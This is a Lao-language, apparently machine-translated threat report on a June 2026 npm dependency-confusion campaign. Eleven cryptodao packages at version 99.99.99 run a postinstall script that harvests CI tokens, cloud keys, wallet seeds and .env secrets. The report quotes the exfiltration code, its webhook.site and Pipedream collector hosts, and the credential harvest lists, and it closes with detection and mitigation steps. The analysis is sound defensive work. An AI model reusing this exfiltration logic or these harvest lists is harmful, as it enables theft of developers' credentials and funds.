TL; DR
ໃນວັນທີ 2026-06-17, ບັນຊີ npm ດຽວໄດ້ຖືກເຜີຍແຜ່ ສິບເອັດແພັກເກດທີ່ມີຈຸດປະສົງດຽວກັນ ແລະ payload ດຽວສິບຄົນໃນນັ້ນຖື cryptodao- ຄຳນຳໜ້າ (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ອັນທີສິບເອັດແມ່ນຂອບເຂດ @public-for-cdao/coreແຕ່ລະອັນໄດ້ຖືກເຜີຍແຜ່ໃນລຸ້ນ 99.99.99 ແລະສົ່ງໄບຕ໌ທີ່ຄືກັນ recon.js ທີ່ແລ່ນສຸດ postinstall.
ຊື່ຕ່າງໆແມ່ນຕົວຊີ້ບອກ. ພວກມັນອ່ານຄືກັບກ້ອນກໍ່ສ້າງພາຍໃນຂອງເຄື່ອງມືສ່ວນຕົວຂອງໂຄງການ crypto/DAO. ເຜີຍແຜ່ໃນທະບຽນ npm ສາທາລະນະໃນລຸ້ນທີ່ສູງກວ່າທຽມ, ພວກມັນລໍຖ້າການສ້າງ. pipeline ທີ່ຖືກຕັ້ງຄ່າໃຫ້ແກ້ໄຂຊື່ເຫຼົ່ານັ້ນ ແລະ ເຂົ້າເຖິງ npm ສາທາລະນະກ່ອນ — ຫຼື ແທນ — ການລົງທະບຽນສ່ວນຕົວ. ນີ້ແມ່ນ ຄວາມສັບສົນໃນການເພິ່ງພາອາໄສ, ແລະ payload ໄດ້ຖືກປັບແຕ່ງໃຫ້ເໝາະສົມກັບບ່ອນທີ່ມັນຄາດວ່າຈະລົງຈອດຢ່າງແນ່ນອນ: CI/CD runners.
ເມື່ອໃດ postinstall ໄຟໄໝ້, recon.js ເກັບກຳລາຍລະອຽດຂອງເຈົ້າພາບ, ກວາດລ້າງຢ່າງຫຍາບຄາຍ ຕົວແປສະພາບແວດລ້ອມຄລາວ, CI, ແລະກະເປົາເງິນດິຈິຕອນສີ່ສິບຕົວ, ອ່ານອັນໃດກໍໄດ້ .env ມັນສາມາດຊອກຫາ ແລະ ສົ່ງຕໍ່ສາຍລັບຕາມຕົວໜັງສື, ຈາກນັ້ນສົ່ງມັດໄປຫາຜູ້ເກັບກຳສອງຄົນ — webhook.site ແລະຈຸດສິ້ນສຸດ Pipedream — ໂດຍປິດການໃຊ້ງານການຢັ້ງຢືນໃບຢັ້ງຢືນ TLS. ສຳເນົາຍັງຖືກຂຽນຢູ່ພາຍໃຕ້ /tmp.
ຄວາມຮຸນແຮງ: ສູງລະບົບນິເວດທີ່ໄດ້ຮັບຜົນກະທົບ: npmແພັກເກດທັງສິບເອັດຊຸດໄດ້ຖືກເຜີຍແຜ່ໃນເວລາຂຽນ.
ກາຍວິພາກການໂຈມຕີ
ກົນໄກດັ່ງກ່າວມີສີ່ສ່ວນທີ່ເຄື່ອນທີ່, ແລະບໍ່ມີອັນໃດທີ່ລະອຽດອ່ອນເມື່ອທ່ານຮູ້ຈັກ ເບິ່ງຊັ້ນໜຶ່ງຜ່ານຊື່ແພັກເກດ.
1. ອັດຕາເງິນເຟີ້ຂອງເວີຊັນເປັນຕົວລໍ້ລວງແກ້ໄຂ. ແຕ່ລະແພັກເກດປະກາດລຸ້ນ 99.99.99ຄວາມສັບສົນຂອງ dependency ຈະເຮັດວຽກເມື່ອຜູ້ຈັດການແພັກເກດຮ້ອງຂໍໃຫ້ ຊື່ພາຍໃນ, ຍັງກວດສອບການລົງທະບຽນສາທາລະນະ ແລະ ເລືອກລຸ້ນສູງສຸດຂອງມັນ finds. ການເລືອກເລີ່ມຕົ້ນຂອງ npm ສຳລັບຊ່ວງ caret ຫຼື wildcard ແມ່ນ ເວີຊັນທີ່ໜ້າພໍໃຈສູງສຸດໃນທຸກແຫຼ່ງຂໍ້ມູນທີ່ຕັ້ງຄ່າໄວ້; ຖ້າທັງສອງເປັນສ່ວນຕົວ ຄຳຕອບຂອງ registry ແລະ public npm ສຳລັບຊື່ດຽວກັນ, ໝາຍເລກລຸ້ນທີ່ໃຫຍ່ກວ່າຈະຊະນະ. A 99.99.99 ໂດຍພື້ນຖານແລ້ວມັນມີອັນດັບສູງກວ່າລຸ້ນພາຍໃນຕົວຈິງໃດໆທີ່ໂຄງການຈະມີ ຮອດແລ້ວ, ສະນັ້ນຕົວແກ້ໄຂທີ່ບໍ່ໄດ້ປັກໝຸດໄວ້ໃນແຫຼ່ງຂໍ້ມູນສ່ວນຕົວມັກ ສາທາລະນະ - ແລະໃນກໍລະນີນີ້, ເປັນການກະທຳທີ່ເປັນປໍລະປັກ - ສຳເນົາ. ຜູ້ປະກອບການບໍ່ຈຳເປັນຕ້ອງຮູ້ ຕົວເລກລຸ້ນຕົວຈິງຂອງເປົ້າໝາຍ; ການເລືອກຄ່າສູງສຸດທີ່ບໍ່ສົມເຫດສົມຜົນຮັບປະກັນວ່າຈະສະເໝີກັນສະເໝີ ທຳລາຍທາງຂອງເຂົາເຈົ້າ.
2. ຕົວກະຕຸ້ນຫຼັງການຕິດຕັ້ງ. ຊຸດ .json ສາຍໄຟໃສ່ກັບອຸປະກອນຕິດຕັ້ງ ວົງຈອນຊີວິດ:
{ "scripts": { "postinstall": "node recon.js" } } ບໍ່ຈຳເປັນຕ້ອງນຳເຂົ້າແພັກເກດ. ພຽງແຕ່ຕິດຕັ້ງມັນ — ເຊິ່ງເປັນ CI pipeline ເຮັດໂດຍອັດຕະໂນມັດ — ແລ່ນ recon.js.
3. ການກວາດລ້າງຄວາມລັບຢ່າງກວ້າງຂວາງ. recon.js ລວບລວມອາເຣຜົນໄດ້ຮັບເປັນຂັ້ນຕອນຕ່າງໆ:
- ບໍລິບົດໂຮສ: ຊື່ໂຮສ, ແພລດຟອມ ແລະ ການປ່ອຍ, ສະຖາປັດຕະຍະກຳ, ຊື່ຜູ້ໃຊ້, ການເຮັດວຽກ ລະບົບ.
- ຕົວແປສະພາບແວດລ້ອມ: ມັນເຮັດຊ້ຳລາຍຊື່ຄົງທີ່ປະມານສີ່ສິບຊື່ ແລະ ບັນທຶກ ອັນໃດກໍໄດ້ທີ່ຕັ້ງໄວ້. ລາຍຊື່ນີ້ເປີດເຜີຍ — ມັນຈັບຄູ່ໂທເຄັນ CI ທົ່ວໄປ (CI_JOB_TOKEN, ລະຫັດຜ່ານ CI_REGISTRY, GITLAB_ACCESS_TOKEN) ແລະ ເມກ ຂໍ້ມູນປະຈຳຕົວ (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) ດ້ວຍຄວາມລັບຂອງລີຈິດສະຕຣີ ແລະ ຄອນເທນເນີ (NPM_TOKEN, ລະຫັດຜ່ານ DOCKER, ລະຫັດຜ່ານ HARBOR) ແລະກຸ່ມທີ່ມີລົດຊາດ crypto ຢ່າງຊັດເຈນ: PRIVATE_KEY, MNEMONIC, ເມັດພັນ, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCຄ່າທີ່ບັນທຶກໄວ້ຈະຖືກຕັດອອກເປັນ 50 ຕົວອັກສອນທຳອິດ.
- .env ໄຟລ໌: ມັນກວດສອບລາຍຊື່ເສັ້ນທາງ - .env, ../.env, /ແອັບ/.env, /ແອັບ/ແບັກເອັນ/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, ແລະ .ການຜະລິດ/.ການພັດທະນາ ຕົວແປຕ່າງໆ - ແລະສຳລັບໄຟລ໌ໃດໆທີ່ມີຢູ່, ມັນ ກັ່ນຕອງເນື້ອຫາໃຫ້ເປັນເສັ້ນທີ່ກົງກັນ ກະແຈ|ຄວາມລັບ|ໂທເຄັນ|ຜ່ານ|ສ່ວນຕົວ|ຕົວຊ່ວຍຈຳ ແລະ ຍູ້ບັນທັດເຫຼົ່ານັ້ນ **ຢ່າງຄົບຖ້ວນ, ບໍ່ໄດ້ຕັດອອກ** ເຂົ້າໄປໃນຜົນໄດ້ຮັບ.
- ບໍລິບົດ Build-host: ມັນລະບຸ 20 ລາຍການທຳອິດຂອງ /ສ້າງ/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, ແລະ / tmp /.
ລາຍຊື່ເສັ້ນທາງ ແລະ ລາຍຊື່ຕົວແປແມ່ນຖືກຖ່ວງນໍ້າໜັກໃສ່ຜູ້ແລ່ນ GitLab, ເຊິ່ງຊີ້ payload ໂດຍກົງຢູ່ທີ່ໂຄງສ້າງພື້ນຖານ CI ທີ່ໂຮດດ້ວຍຕົນເອງແທນທີ່ຈະເປັນນັກພັດທະນາ ແລັບທັອບ. ການຈັດກຸ່ມລາຍການເກັບກ່ຽວຕາມໝວດໝູ່ເຮັດໃຫ້ການຂົນສົ່ງທີ່ຕັ້ງໃຈໄວ້ເປັນເລື່ອງທຳມະດາ:
| ປະເພດ | ຕົວແປ / ເສັ້ນທາງທີ່ບັນລຸໄດ້ |
|---|---|
| CI/CD ຕົວຕົນ ແລະ ການນຳໃຊ້ | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| ຟັງ | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| ທະບຽນ ແລະ ຕູ້ຄອນເທນເນີ | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| ການເກັບຮັກສາຂໍ້ມູນ | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| ຄຣິບໂຕ / ບແຊັກແຊນ | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| ສົ່ງຂໍ້ຄວາມ | SLACK_TOKEN, DISCORD_TOKEN |
| ໃນແຜ່ນດິດ | .env ຄອບຄົວ + /home/gitlab-runner/.env, /root/.env, /app/**/.env; ລາຍຊື່ໄດເລກະທໍລີຂອງ /builds/, /var/lib/gitlab-runner/ |
ກຸ່ມ crypto ແມ່ນສ່ວນທີ່ແຍກຄວາມແຕກຕ່າງນີ້ອອກຈາກ CI-secret ທົ່ວໄປ sweep: ປະໂຫຍກເມັດພັນກະເປົາເງິນ ແລະ ລະຫັດລາຍເຊັນຈະປາກົດຢູ່ໃນສະພາບແວດລ້ອມຂອງ ໂຄງການ blockchain, ແລະພວກມັນສ້າງແຜນທີ່ໂດຍກົງໃສ່ cryptodao-/ຂຽນ/ສັນຍາ ການຕັ້ງຊື່ຜູ້ຂົນສົ່ງ.
4. ການກັ່ນຕອງສອງຊັ້ນດ້ວຍການຢັ້ງຢືນທີ່ຖືກປິດໃຊ້ງານ. ອາເຣທີ່ເກັບກຳມາແມ່ນ ຖືກຈັດລຳດັບ ແລະ ໂພສໄປຍັງສອງຈຸດໝາຍປາຍທາງ:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) ປະຕິເສດບໍ່ໄດ້ຮັບອະນຸຍາດ: false ປິດການກວດສອບໃບຢັ້ງຢືນ TLS ສຳລັບຂາອອກ ການໂທ. ຂໍ້ມູນດຽວກັນນີ້ຖືກພິມໄປທີ່ stdout (ສະນັ້ນມັນຍັງຕົກຢູ່ໃນບັນທຶກວຽກ CI) ແລະ ຂຽນຫາ /tmp/.npm_recon_ .jsonຄວາມຜິດພາດຖືກກືນກິນຢ່າງງຽບໆ, ສະນັ້ນ ການສົ່ງທີ່ລົ້ມເຫຼວບໍ່ປະໄວ້ຮ່ອງຮອຍໃດໆໃນຜົນຜະລິດການຕິດຕັ້ງນອກຈາກອັນດຽວ [ທົບທວນຄືນ] ຕິດຕັ້ງຢູ່ ເສັ້ນ.
ຄຳເຫັນນຳໜ້າໃນໄຟລ໌ອະທິບາຍວ່າມັນເປັນ “ຄວາມສັບສົນໃນການເພິ່ງພາອາໄສ” ນ້ຳໜັກການສຳຫຼວດ.” ການຕັດຄ່າສະພາບແວດລ້ອມລົງເຫຼືອ 50 ຕົວອັກສອນມີ ຮູບຮ່າງຂອງຫຼັກຖານຂອງແນວຄວາມຄິດ. ສິ່ງທີ່ຍ້າຍມັນຜ່ານສັນຍານສັນຍານທີ່ມີພຽງແຕ່ການມີໜ້າເທົ່ານັ້ນແມ່ນ .env ການຈັດການ: ສາຍທີ່ມີຂໍ້ມູນລັບຖືກສົ່ງຕໍ່ຢ່າງເຕັມທີ່, ແລະຈຸດໝາຍປາຍທາງ ແມ່ນຕົວເກັບກຳສອງອັນທີ່ເຮັດວຽກໄດ້, ຄວບຄຸມໂດຍຜູ້ໂຈມຕີ ແທນທີ່ຈະເປັນອ່າງລ້າງມືທີ່ນັບໄດ້ເທົ່ານັ້ນ ຕີ.
ກໍານົດເວລາ
ຮູບແບບການເຜີຍແຜ່ແມ່ນລາຍເຊັນຂອງການຊຸກຍູ້ທີ່ມີສະຄຣິບດຽວ, ບໍ່ແມ່ນສິບເອັດ ການອັບໂຫລດເອກະລາດ.
| ເວລາ (UTC, 2026-06-17) | ກໍລະນີ |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 ຈັດພີມມາ |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — ຕົວແປທີ່ມີຂອບເຂດ, ~24 ນາທີຕໍ່ມາ |
ມີສິບຊຸດຖືກສົ່ງອອກພາຍໃນໄລຍະເວລາ 29 ວິນາທີ, ປະມານໜຶ່ງຊຸດທຸກໆສາມວິນາທີ. ຂອບເຂດທີ່ກຳນົດໄວ້ @ສາທາລະນະສຳລັບ cdao/ຫຼັກ ຕິດຕາມມາປະມານ 24 ນາທີຫຼັງຈາກນັ້ນ - ວິນາທີ ສົນທິສັນຍາການຕັ້ງຊື່ສຳລັບເປົ້າໝາຍດຽວກັນ, ໃນກໍລະນີທີ່ໂຄງການທີ່ບໍລິໂພກອ້າງອີງເຖິງ ລະບົບຕ່ອງໂສ້ເຄື່ອງມືພາຍໃນພາຍໃຕ້ຂອບເຂດແທນທີ່ຈະເປັນຊື່ເປົ່າ.
ຕົວຊີ້ວັດຂອງການປະນີປະນອມ
| ປະເພດ | ຕົວຊີ້ວັດ |
|---|---|
| ຜູ້ເກັບຂອງ | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| ຜູ້ເກັບຂອງ | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| ຕິດຕັ້ງຕະຂໍ | postinstall: node recon.js |
| ໄຟລ໌ທີ່ຖືກຖິ້ມ | /tmp/.npm_recon_<timestamp>.json |
| ເຄື່ອງໝາຍບັນທຶກ | [recon] <pkg>@<ver> installed on <hostname> (stdout ໃນບັນທຶກ CI) |
| ພຶດຕິກໍາ | rejectUnauthorized: false ໃນ HTTPS ຂາອອກໃນລະຫວ່າງການຕິດຕັ້ງ |
| Payload | recon.js, ຄືກັນໃນທຸກສິບເອັດແພັກເກດ (ໜຶ່ງລຸ້ນທີ່ໃຊ້ຮ່ວມກັນ) |
| Version | 99.99.99 ໃນທຸກໆແພັກເກດ |
| ການຫຸ້ມຫໍ່ | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (ທັງ ໝົດ 99.99.99) |
| ສໍານັກພິມ | aduljune / aduljune@proton.me (ອີເມວບໍ່ໄດ້ຮັບການຢືນຢັນ, ບໍ່ມີບ່ອນເກັບມ້ຽນແຫຼ່ງຂໍ້ມູນທີ່ເຊື່ອມໂຍງ) |
ການລະບຸຕົວຕົນ ແລະ ພຶດຕິກຳທີ່ສັງເກດເຫັນ
ທຸກຢ່າງກ່ຽວກັບຈຸດຂອງກຸ່ມຢູ່ໃນມືດຽວ. ຊຸດທັງໝົດສິບເອັດຊຸດໄດ້ຖືກເຜີຍແຜ່ ໂດຍບັນຊີ npm ອາດູລຈູນ (aduljune@proton.me, ທີ່ຢູ່ທີ່ຍັງບໍ່ໄດ້ຢືນຢັນ ແລະ ບໍ່ມີ ບ່ອນເກັບມ້ຽນແຫຼ່ງຂໍ້ມູນທີ່ເຊື່ອມໂຍງ), ພາຍໃນໄລຍະເວລາ 25 ນາທີ, ໃນເວລາດຽວກັນ 99.99.99 ຮຸ່ນ, ການຂົນສົ່ງ recon.js ເຊິ່ງເນື້ອໃນແມ່ນຄືກັນທຸກໆໄບຕ໌ຕໍ່ໄບຕ໌ ແພັກເກັດ (MD5 ກົງກັນໃນທຸກສິບເອັດສຳເນົາທີ່ສະກັດອອກມາ). ນັ້ນແມ່ນໜຶ່ງ payload ປະທັບໃສ່ລາຍຊື່ຊື່, ບໍ່ແມ່ນການໃຊ້ລະຫັດຄືນໃໝ່ແບບອິດສະຫຼະ.
ບັນຊີລາຍຊື່ຊື່ກຳນົດເປົ້າໝາຍທີ່ຕັ້ງໃຈໄວ້. cryptodao-* ແລະ cdao ອະທິບາຍ ຮູບແບບໂມດູນສ່ວນຕົວຂອງໂຄງການ crypto/DAO, ແລະລາຍຊື່ການເກັບກ່ຽວຂອງ payload ກະຈົກທີ່ຄາດເດົາ: ຄຽງຄູ່ກັບ CI ທົ່ວໄປ ແລະ ຄວາມລັບຂອງຄລາວ, ມັນໂດຍສະເພາະ ຮອດ PRIVATE_KEY, MNEMONIC, ເມັດພັນ, ແລະ Ethereum/BSC RPC ແລະ ລະຫັດຜູ້ໃຫ້ບໍລິການ. .env ເສັ້ນທາງການຄົ້ນຫາ ແລະ ລາຍຊື່ໄດເລກະທໍລີແມ່ນ GitLab-runner ສະເພາະ. ຜົນກະທົບທີ່ສັງເກດເຫັນໄດ້ແມ່ນວ່າ pipeline ຖືກຫຼອກລວງໃຫ້ຕິດຕັ້ງສິ່ງເຫຼົ່ານີ້ ຊື່ຕ່າງໆຈະສົ່ງຕໍ່ໂທເຄັນ CI, ກະແຈຄລາວ ແລະ ໃນດິດຂອງມັນ .env ຄວາມລັບ - ແລະ, ສຳລັບ ໂຄງການ blockchain, ວັດສະດຸກະເປົາເງິນຂອງມັນ - ໃຫ້ແກ່ຜູ້ເກັບກຳພາກສ່ວນທີສາມສອງຄົນ.
ພວກເຮົາບໍ່ໄດ້ອ້າງສິດກ່ຽວກັບຜູ້ທີ່ດຳເນີນການບັນຊີ ຫຼື ສິ່ງທີ່ເຂົາເຈົ້າວາງແຜນທີ່ຈະເຮັດກັບ ຂໍ້ມູນ. ຂໍ້ເທັດຈິງທີ່ຢືນຢູ່ດ້ວຍຕົວມັນເອງ: ຊື່ຕ່າງໆແນໃສ່ປະເພດສະເພາະໃດໜຶ່ງ ລະບົບຕ່ອງໂສ້ເຄື່ອງມືພາຍໃນ, payload ຈະອ່ານ ແລະ ສົ່ງຄ່າລັບທີ່ແທ້ຈິງ, ແລະ ພື້ນຖານໂຄງລ່າງ ໄດ້ຖ່າຍທອດສົດ.
ຜົນກະທົບ, ແນວໂນ້ມ ແລະ ການຊີ້ນຳຂອງຜູ້ຖືກກ່າວຟ້ອງ
ຄວາມສັບສົນຂອງການເພິ່ງພາອາໄສ ຍັງຄົງມີປະສິດທິພາບເພາະມັນໃຊ້ປະໂຫຍດຈາກພຶດຕິກຳຂອງຕົວແກ້ໄຂ, ບໍ່ແມ່ນ ຊ່ອງໂຫວ່ໃນແພັກເກດໃດກໍ່ຕາມ. ຜູ້ໃຫ້ບໍລິການຢູ່ທີ່ນີ້ແມ່ນບໍ່ສຳຄັນ — ສິບເອັດເກືອບວ່າງເປົ່າ ແພັກເກດ - ແຕ່ລັດສະໝີຂອງການລະເບີດແມ່ນອັນໃດກໍຕາມ pipeline ມັກ npm ສາທາລະນະໂດຍຜິດພາດ ສຳລັບຊື່ພາຍໃນ. ຜູ້ແລ່ນ CI ແມ່ນສະຖານທີ່ທີ່ຮ້າຍແຮງທີ່ສຸດສຳລັບເຫດການນັ້ນທີ່ຈະເກີດຂຶ້ນ: ພວກເຂົາຖື ແນ່ນອນໂທເຄັນ ແລະ .env ໄຟລ໌ທີ່ payload ນີ້ອ່ານ, ແລະພວກມັນຕິດຕັ້ງ ການເພິ່ງພາອາໄສທີ່ບໍ່ມີການໂຕ້ຕອບ, ສະນັ້ນ a ຕິດຕັ້ງຫຼັງ ແລ່ນໂດຍບໍ່ມີໃຜເບິ່ງ.
ກຸ່ມນີ້ຍັງເໝາະສົມກັບຮູບແບບທີ່ພວກເຮົາເຫັນຢູ່ເລື້ອຍໆ: payloads ເວລາຕິດຕັ້ງທີ່ນຳສະເໜີ ເປັນ “ການຄົ້ນຄວ້າ” ຫຼື “ການສຳຫຼວດ” ໃນຂະນະທີ່ເຮັດການເກັບກຳຂໍ້ມູນປະຈຳຕົວຕົວຈິງ. ປ້າຍຊື່ ໃນໄຟລ໌ບໍ່ໄດ້ປ່ຽນແປງສິ່ງທີ່ລະຫັດເຮັດໃນ runner. ສອງທາງເລືອກໃນການອອກແບບຮັກສາໄວ້ ກິດຈະກຳທີ່ງຽບສະຫງົບ: ທຸກໆການດຳເນີນງານຂອງເຄືອຂ່າຍ ແລະ ລະບົບໄຟລ໌ແມ່ນຖືກຫໍ່ໄວ້ໃນ ຕົວຈັດການຂໍ້ຍົກເວັ້ນທີ່ຍົກເລີກຄວາມຜິດພາດ, ດັ່ງນັ້ນການສົ່ງທີ່ຖືກບລັອກ ຫຼື ໄຟລ໌ທີ່ຫາຍໄປ ບໍ່ໄດ້ຜະລິດຜົນຜະລິດການວິນິດໄສ, ແລະສິ່ງດຽວທີ່ພິມອອກມາແມ່ນອັນດຽວທີ່ບໍ່ເປັນອັນຕະລາຍ [ແກ້ໄຂ] … ຕິດຕັ້ງແລ້ວ ສາຍທີ່ປະສົມເຂົ້າກັບສຽງເວົ້າໃນການຕິດຕັ້ງປົກກະຕິ. ການນໍາໃຊ້ ເວັບໄຊທ໌ webhook ແລະ Pipedream ກໍ່ເປັນຄວາມສະດວກສະບາຍໂດຍເຈດຕະນາ - ທັງສອງຢ່າງແມ່ນບໍ່ເສຍຄ່າ, ໃຫ້ບໍລິການບັນທຶກການຮ້ອງຂໍທັນທີ, ດັ່ງນັ້ນຜູ້ປະຕິບັດການຈຶ່ງບໍ່ຕ້ອງການເຊີບເວີຂອງ ຂອງຕົນເອງ ແລະ ຈຸດໝາຍປາຍທາງເບິ່ງຄືກັບຊື່ໂຮດ SaaS ທຳມະດາໃນບັນທຶກການອອກ.
ເສດຖະສາດແມ່ນສິ່ງທີ່ເຮັດໃຫ້ສິ່ງນີ້ຄຸ້ມຄ່າກັບຄວາມສົນໃຈຂອງຜູ້ຖືກກ່າວຟ້ອງເຖິງແມ່ນວ່າ ລະຫັດຜູ້ໃຫ້ບໍລິການແມ່ນບໍ່ສຳຄັນ. ການລົງທະບຽນສິບເອັດຊື່ບໍ່ມີຄ່າໃຊ້ຈ່າຍ, ສ່ວນ payload ແມ່ນໜຶ່ງຊື່ ໄຟລ໌ຖືກຄັດລອກສິບເອັດເທື່ອ, ແລະຕົວຈັດການແພັກເກດເຮັດການປະຕິບັດທັງໝົດ. ອັນດຽວ ຕັ້ງຄ່າຜິດ pipeline ບ່ອນໃດກໍຕາມທີ່ໃຊ້ຊື່ໃດໜຶ່ງໃນຊື່ເຫຼົ່ານີ້ ຈະຈ່າຍຄ່າທັງໝົດ ການປະຕິບັດງານ.
ຂັ້ນຕອນທີ່ແນ່ນອນສຳລັບຜູ້ປ້ອງກັນ:
- ປັກໝຸດຂອບເຂດພາຍໃນໃສ່ທະບຽນສ່ວນຕົວຂອງທ່ານ. ກຳນົດຄ່າ npm so ຊື່ພາຍໃນ
ແລະ ຂອບເຂດແກ້ໄຂສະເພາະຕໍ່ກັບລີຈິດສະຕຣີຂອງທ່ານ (ການຈັບຄູ່ລີຈິດສະຕຣີທີ່ມີຂອບເຂດ .npmrc, ຫຼື proxy ທີ່ບໍ່ເຄີຍຕົກເປັນຂອງ public npm ສຳລັບ namespaces ທີ່ເປັນເຈົ້າຂອງ). ສະຫງວນຊື່ public scope ຂອງທ່ານໄວ້ເພື່ອບໍ່ໃຫ້ຄົນອື່ນສາມາດລົງທະບຽນໄດ້.
- Commit lockfiles ແລະຕິດຕັ້ງດ້ວຍ –ignore-scripts ໃນ CI ບ່ອນທີ່ເປັນໄປໄດ້, ຫຼື ກວດສອບຊຸດ dependencies ຂະໜາດນ້ອຍທີ່ຕ້ອງການສະຄຣິບຕິດຕັ້ງແທ້ໆ. recon.js ບໍ່ສາມາດດໍາເນີນການໄດ້ຖ້າ ຕິດຕັ້ງຫຼັງ ບໍ່ໄດ້ປະຕິບັດ.
- ປະຕິບັດຕໍ່ຊື່ທີ່ເບິ່ງຄືວ່າເປັນພາຍໃນທີ່ມີຄ່າ 99.99.99 (ຫຼື ຮຸ່ນທີ່ສູງເກີນໄປອື່ນໆ) ເປັນທຸງສີແດງ ໃນການທົບທວນການເພິ່ງພາອາໄສ ແລະ ການຕິດຕາມກວດກາການລົງທະບຽນ.
- ແຈ້ງເຕືອນກ່ຽວກັບການອອກຈາກລະບົບໃນເວລາຕິດຕັ້ງ. A ຕິດຕັ້ງຫຼັງ ທີ່ເປີດ HTTPS ຂາອອກ ການເຊື່ອມຕໍ່ — ໂດຍສະເພາະກັບການຢືນຢັນໃບຢັ້ງຢືນທີ່ຖືກປິດໃຊ້ງານ — ກັບ webhook.site, Pipedream, ຫຼື ການບໍລິການບັນທຶກການຮ້ອງຂໍທີ່ຄ້າຍຄືກັນນີ້ ຄຸ້ມຄ່າທີ່ຈະບລັອກຢູ່ຂອບເຄືອຂ່າຍ ແລະ ໝາຍໄວ້ໃນບັນທຶກການສ້າງ.
- ລ່າສັດສິ່ງປະດິດ. ກວດສອບນັກແລ່ນສຳລັບ /tmp/.npm_recon_*.json ແລະ ສຳ ລັບ [recon] … ຕິດຕັ້ງແລ້ວໃນ … ເຄື່ອງໝາຍໃນບັນທຶກ CI ທີ່ຜ່ານມາ. ຖ້າພົບ, ໃຫ້ໝຸນທຸກໆຄັ້ງ ຫຼັກຖານທີ່ເປີດເຜີຍຕໍ່ສິ່ງນັ້ນ pipeline — ໂທເຄັນ CI, ຄີຄລາວ, ໂທເຄັນຣີຈິສຕຣີ, ແລະ ແກ່ນກະເປົາເງິນ ຫຼື ຄີສ່ວນຕົວໃດໆທີ່ມີຢູ່ໃນສະພາບແວດລ້ອມ ຫຼື ໄຟລ໌ .env.
ເອກະສານ
ບໍ່ມີລາຍງານພາຍນອກກ່ຽວກັບກຸ່ມນີ້ໃນເວລາຂຽນ; ການວິເຄາະ ຂ້າງເທິງນີ້ແມ່ນອີງໃສ່ເນື້ອໃນຊຸດທີ່ເຜີຍແຜ່ໂດຍກົງ




